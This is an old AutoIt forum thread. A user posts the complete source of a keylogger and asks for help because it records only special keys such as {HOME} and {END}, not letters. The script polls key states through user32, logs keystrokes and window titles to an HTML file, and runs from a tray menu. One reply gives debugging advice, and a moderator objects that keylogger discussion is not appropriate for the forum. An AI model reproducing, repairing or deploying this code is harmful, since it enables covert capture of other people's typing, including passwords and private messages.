Didonet Posted November 16, 2007 Posted November 16, 2007 I have a problem... and i can't solve it I'm editing one keylogger from the example scripts and here is it: expandcollapse popup#Include <Constants.au3> $log = @MyDocumentsDir & "\logs" DirCreate($log) $date = @YEAR & @MON & @MDAY $window2 = "" $log_start = False Opt("TrayMenuMode", 1) $start = TrayCreateItem("Start") $stop = TrayCreateItem("Stop") TrayItemSetState(-1, $TRAY_DISABLE) $exit = TrayCreateItem("Exit") Func _IsPressed($hexKey) Local $aR, $bRv $hexKey = '0x' & $hexKey $aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey) If $aR[0] <> 0 Then $bRv = 1 Else $bRv = 0 EndIf Return $bRv EndFunc ;==>_IsPressed $file = FileOpen($log & "\logfile-" & $date & ".htm", 1) If $file = -1 Then MsgBox(0, "Error", "cannot open log file!") Exit EndIf FileWrite($file, "<font face=Verdana size=1>") Func Terminate() Global $user32 DllClose($user32) FileClose($file) EndFunc ;==>Terminate Opt("OnExitFunc", "Terminate") $user32 = DllOpen("user32.dll") TraySetState() While 1 $msg = TrayGetMsg() If $msg = $start Then Global $log_start = True TrayItemSetState($start, $TRAY_DISABLE) TrayItemSetState($stop, $TRAY_ENABLE) EndIf If $msg = $stop Then Global $log_start = False TrayItemSetState($start, $TRAY_ENABLE) TrayItemSetState($stop, $TRAY_DISABLE) EndIf If $msg = $exit Then Exit EndIf If $log_start = True Then For $s = 97 To 122 If _IsPressed($s) Then _LogKeyPress(Chr($s)) EndIf Next For $b = 65 To 90 If _IsPressed($B) Then _LogKeyPress(Chr($B)) EndIf Next If _IsPressed('01') Then _LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT MOUSE}</i></font>") EndIf If _IsPressed('02') Then _LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT MOUSE}</i></font>") EndIf If _IsPressed('08') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{BACKSPACE}</i></font>") EndIf If _IsPressed('09') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>") EndIf If _IsPressed('0d') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ENTER}</i></font>") EndIf If _IsPressed('10') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>") EndIf If _IsPressed('11') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>") EndIf If _IsPressed('12') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>") EndIf If _IsPressed('13') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>") EndIf If _IsPressed('14') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>") EndIf If _IsPressed('1b') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>") EndIf If _IsPressed('20') Then _LogKeyPress(" ") EndIf If _IsPressed('21') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>") EndIf If _IsPressed('22') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGDOWN}</i></font>") EndIf If _IsPressed('23') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>") EndIf If _IsPressed('24') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>") EndIf If _IsPressed('25') Then _LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>") EndIf If _IsPressed('26') Then _LogKeyPress("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>") EndIf If _IsPressed('27') Then _LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>") EndIf If _IsPressed('28') Then _LogKeyPress("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>") EndIf If _IsPressed('2c') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PRNTSCRN}</i></font>") EndIf If _IsPressed('2d') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>") EndIf If _IsPressed('2e') Then _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>") EndIf For $n = 30 To 39 If _IsPressed($n) Then _LogKeyPress(StringRight($n, 1)) EndIf Next EndIf WEnd Func _LogKeyPress($what2log) $window = WinGetTitle("") If $window = $window2 Then FileWrite($file, $what2log) Sleep(100) Else $window2 = $window FileWrite($file, "<br><BR>" & "<b>[" & @YEAR & "." & @MON & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window: "' & $window & '"</b><br>' & $what2log) Sleep(100) EndIf EndFunc ;==>_LogKeyPress It didn't save the letters.. it show somethings like {HOME}{END} and etc...
DW1 Posted November 16, 2007 Posted November 16, 2007 I think you are not allowed to talk about KLs (maybe this changed though, if you found a KL in the examples) AutoIt3 Online Help
Richard Robertson Posted November 16, 2007 Posted November 16, 2007 It's inefficiently written, speed-wise, but it should work just fine. I notice that after it writes to the file, it sleeps, which means it may miss some keystrokes. If you want a working script, you may try writing your own instead of modifying someone else's.
Moderators SmOke_N Posted November 16, 2007 Moderators Posted November 16, 2007 I think we are getting a bit lax on the keylogger thing. I don't find this appropriate conversation for this forum. Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.
Recommended Posts